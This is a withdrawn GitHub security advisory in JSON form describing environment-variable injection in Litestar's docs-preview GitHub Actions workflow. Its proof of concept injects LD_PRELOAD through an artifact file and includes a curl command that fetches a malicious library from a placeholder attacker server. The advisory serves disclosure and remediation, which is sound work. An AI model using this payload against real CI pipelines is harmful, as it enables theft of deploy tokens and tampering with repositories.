CVE-2024-42370: Withdrawn Advisory Litestar Has An Environment Variable Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-4hq2-rpgc-r8r7",
  "modified" : "2024-08-20T18:37:01Z",
  "published" : "2024-08-09T19:22:40Z",
  "withdrawn" : "2024-08-20T18:37:01Z",
  "aliases" : [ "CVE-2024-42370" ],
  "summary" : "Withdrawn Advisory: Litestar has an environment Variable injection in `docs-preview.yml` workflow",
  "details" : "## Withdrawn Advisory\nThis advisory has been withdrawn because the confidentiality, integrity, and availability impacts of the vulnerability affect Litestar's CI/CD environment rather than the `litestar` package. While the information in the advisory is still valid, users of the `litestar` package are not affected and do not need to receive Dependabot alerts.\n\n## Original Advisory\n\n### Summary\nLitestar's `docs-preview.yml` workflow is vulnerable to Environment Variable injection which may lead to secret exfiltration and repository manipulation.\n\n### Environment Variable injection (`GHSL-2024-177`)\n\nThe [`docs-preview.yml` workflow](https://github.com/litestar-org/litestar/blob/ffaf5616b19f6f0f4128209c8b49dbcb41568aa2/.github/workflows/docs-preview.yml) gets triggered when the `Tests And Linting` workflow completes:\n\n```yaml\non:\n  workflow_run:\n    workflows: [Tests And Linting]\n    types: [completed]\n```\n\nLater, it downloads and extracts an artifact generated by the triggering workflow:\n\n```yaml\n- name: Download artifact\nuses: dawidd6/action-download-artifact@v6\nwith:\n  workflow_conclusion: success\n  run_id: ${{ github.event.workflow_run.id }}\n  path: docs-preview\n  name: docs-preview\n```\n\nAnd reads `docs-preview/.pr_number` into an Environment Variable:\n\n```yaml\n- name: Set PR number\n  run: echo \"PR_NUMBER=$(cat docs-preview/.pr_number)\" >> $GITHUB_ENV\n```\n\nThe `$GITHUB_ENV` pointed file is just a regular file where every `KEY=VALUE` will be used to define a new Environment Variable after the step completes. Since the contents of the `.pr_number` file have not been validated, they may contain new lines that will cause new Environment Variables to be defined.\n\nAn attacker can send a malicious `.pr_number` file with the following content:\n\n```txt\n111\nLD_PRELOAD=/home/runner/work/litestar/litestar/inject.so\n```\n\nWhich will result in two Environment Variables being defined:\n\n- PR_NUMBER=111\n- LD_PRELOAD=/home/runner/work/litestar/litestar/inject.so\n\nIn this example we are manipulating the `LD_PRELOAD` environment variable to force the system to load a malicious shared library called `inject.so`. As a result, all subsequent processes launched will automatically incorporate this compromised library into their execution environment.\n\nThe following step will run the `JamesIves/github-pages-deploy-action` action which will [run the `node` command](https://github.com/JamesIves/github-pages-deploy-action/blob/2c9a889f39c2410b2ca1342f465a53a7c5c389b4/action.yml#L5). Therefore the `LD_PRELOAD` will execute arbitrary code when `node` gets executed:\n\n```yaml\n- name: Deploy docs preview\n  uses: JamesIves/github-pages-deploy-action@v4\n  with:\n    folder: docs-preview/docs/_build/html\n    token: ${{ secrets.DOCS_PREVIEW_DEPLOY_TOKEN }}\n    repository-name: litestar-org/litestar-docs-preview\n    clean: false\n    target-folder: ${{ env.PR_NUMBER }}\n    branch: gh-pages\n```\n\n#### PoC\n\n- Clone the repository\n- Edit the `ci.yml` workflow.\n\n```yaml\nname: Tests And Linting\n\non:\n  pull_request:\n\njobs:\n  upload-patch:\n    runs-on: ubuntu-latest\n    timeout-minutes: 10\n    steps:\n      - name: Save PR number and payload\n        run: |\n          make payload\n          echo -e \"${{ github.event.number }}\\nLD_PRELOAD=/home/runner/work/litestar/litestar/inject.so\" > payload/.pr_number\n          curl http://<ATTACKER SERVER>/inject.so -o payload/inject.so\n\n      - name: Upload artifact\n        uses: actions/upload-artifact@v3\n        with:\n          name: docs-preview\n          path: payload\n```\n\n- Create a Pull Request with this change.\n- Since the modified workflow is triggered on `pull_request`, the attacker Pull Request will trigger it and upon completion will trigger the vulnerable `Deploy documentation preview` workflow which will read the malicious artifact and pollute the Environment Variables.\n\n#### Impact\n\nThis issue will grant a malicious actor the [following permissions](https://github.com/litestar-org/litestar/actions/runs/10081936962/job/27875077668#step:1:17):\n\n```\n  Issues: write\n  Metadata: read\n  PullRequests: write\n```\n\nIn addition, the following secret will get exposed to the attacker: `DOCS_PREVIEW_DEPLOY_TOKEN`\n\n#### Remediation\n\n- Verify the contents of the downloaded artifacts.\n- Do not allow new lines in the value redirected to GITHUB_ENV\n\n### Resources\n\n- [CodeQL for JavaScript - Expression injection in Actions](https://codeql.github.com/codeql-query-help/javascript/js-actions-command-injection/)\n- [Keeping your GitHub Actions and workflows secure Part 2: Untrusted input](https://securitylab.github.com/research/github-actions-untrusted-input/)\n- [Keeping your GitHub Actions and workflows secure Part 1: Preventing pwn requests](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/)\n\n## Disclosure Policy\nThis report is subject to a 90-day disclosure deadline, as described in more detail in our [coordinated disclosure policy](https://securitylab.github.com/advisories#policy).",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "litestar"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "2.10.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/litestar-org/litestar/security/advisories/GHSA-4hq2-rpgc-r8r7"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-42370"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/litestar-org/litestar/commit/84d351e96aaa2a1338006d6e7221eded161f517b"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/litestar-org/litestar"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/litestar-org/litestar/actions/runs/10081936962/job/27875077668#step:1:17"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/litestar-org/litestar/blob/ffaf5616b19f6f0f4128209c8b49dbcb41568aa2/.github/workflows/docs-preview.yml"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-74", "CWE-78" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-08-09T19:22:40Z",
    "nvd_published_at" : "2024-08-12T13:38:34Z"
  }
}